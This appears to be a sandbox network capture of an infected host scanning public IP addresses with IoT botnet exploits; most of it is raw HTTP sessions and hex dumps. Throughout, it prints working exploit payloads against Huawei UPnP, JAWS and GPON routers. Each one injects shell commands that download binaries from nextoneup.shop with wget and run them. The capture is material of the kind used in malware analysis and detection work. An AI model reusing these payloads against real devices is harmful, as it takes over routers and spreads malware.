75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:51.111048937 CEST	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
1344	192.168.2.13	58046	201.172.117.152	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.824706078 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.115835905 CEST	239	IN	HTTP/1.1 302 FOUND Content-Type: text/html; charset=utf-8 Content-Length: 249 Location: https://127.0.0.1:80/ Cache-Control: private, max-age=0, no-cache, no-store Date: Sat, 13 Apr 2024 20:59:00 GMT Server: localhost
Apr 14, 2024 04:00:52.115873098 CEST	261	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 33 2e 32 20 46 69 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 3c 2f 74 69 74 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><title>Redirecting...</title><h1>Redirecting...</h1><p>You should be redirected automatically to target URL: <a href="https://127.0.0.1:80/">https://127.0.0.1:80/</a>. If not click the

Session ID	Source IP	Source Port	Destination IP	Destination Port
1345	192.168.2.13	54068	18.224.121.76	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:52.053445101 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.282444954 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:52 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1346	192.168.2.13	50836	134.22.21.42	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:52.180231094 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.444412947 CEST	144	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:45 GMT Server: 2wire Gateway Content-Length: 517 Content-Type: text/html
Apr 14, 2024 04:00:52.444447041 CEST	529	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link href="/css/basic.css" title="Main" type="text/css" rel="stylesheet"><link href="/css/tabs.css" title="Main" type="text/css" rel="stylesheet"><title>Error</tit

Session ID	Source IP	Source Port	Destination IP	Destination Port
1347	192.168.2.13	50200	2.19.74.62	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:52.263453007 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.582308054 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:52 GMT Date: Sun, 14 Apr 2024 02:00:52 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 34 36 64 64 65 61 64 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 32 26 23 34 36 3b 66 65 62 63 62 65 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 39 34 36 64 64 65 61 64 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 32 26 23 34 36 3b 66 65 62 63 62 65 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.946ddead.1713060052.febcbe7<P>https://errors.edgesuite.net/9.946ddead.1713060052.febcbe7</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1348	192.168.2.13	50288	202.165.121.250	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:52.276261091 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:53.992311954 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:54.325472116 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:17:43 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1349	192.168.2.13	42564	107.146.234.158	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:52.375716925 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.571069956 CEST	206	IN	HTTP/1.1 307 Temporary Redirect Location: /0.1/gui/?item=shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:00:53 GMT Server: HTTP Server

Session ID	Source IP	Source Port	Destination IP	Destination Port
1350	192.168.2.13	60906	95.100.235.124	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:52.605155945 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.934591055 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:52 GMT Date: Sun, 14 Apr 2024 02:00:52 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 66 37 65 31 39 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 32 26 23 34 36 3b 32 63 64 33 66 34 30 37 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 66 37 65 31 39 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 32 26 23 34 36 3b 32 63 64 33 66 34 30 37 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5f7e19b8.1713060052.2cd3f407<P>https://errors.edgesuite.net/9.5f7e19b8.1713060052.2cd3f407</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1351	192.168.2.13	49870	45.39.159.30	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:53.021785975 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:53.199971914 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:53 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1352	192.168.2.13	37498	117.4.119.242	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:53.033575058 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1353	192.168.2.13	51628	202.0.242.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:53.033601046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1354	192.168.2.13	34122	117.51.171.31	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:53.033613920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1355	192.168.2.13	54932	212.131.193.56	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:53.033643007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1356	192.168.2.13	49124	5.74.104.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:53.033664942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1357	192.168.2.13	59996	178.98.220.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:53.033690929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1358	192.168.2.13	54112	18.224.121.76	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:53.167056084 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:53.395066023 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:53 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1359	192.168.2.13	54650	51.75.161.197	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:53.696333885 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:54.532830954 CEST	596	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:00:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.3.16 X-UA-Compatible: IE=edge Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
1360	192.168.2.13	53416	51.210.180.200	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:53.696846962 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1361	192.168.2.13	56592	142.112.26.153	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:53.744168043 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:54.089994907 CEST	975	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 26 23 78 32 46 3b 73 68 65 6c 6c 3f 63 64 20 26 23 78 32 46 3b 74 6d 70 3b 72 6d 20 2d 72 66 20 2a 3b 77 67 65 74 20 68 74 74 70 3a 26 23 78 32 46 3b 26 23 78 32 46 3b 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 26 23 78 32 46 3b 6a 61 77 73 3b 73 68 20 26 23 78 32 46 3b 74 6d 70 26 23 78 32 46 3b 6a 61 77 73 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 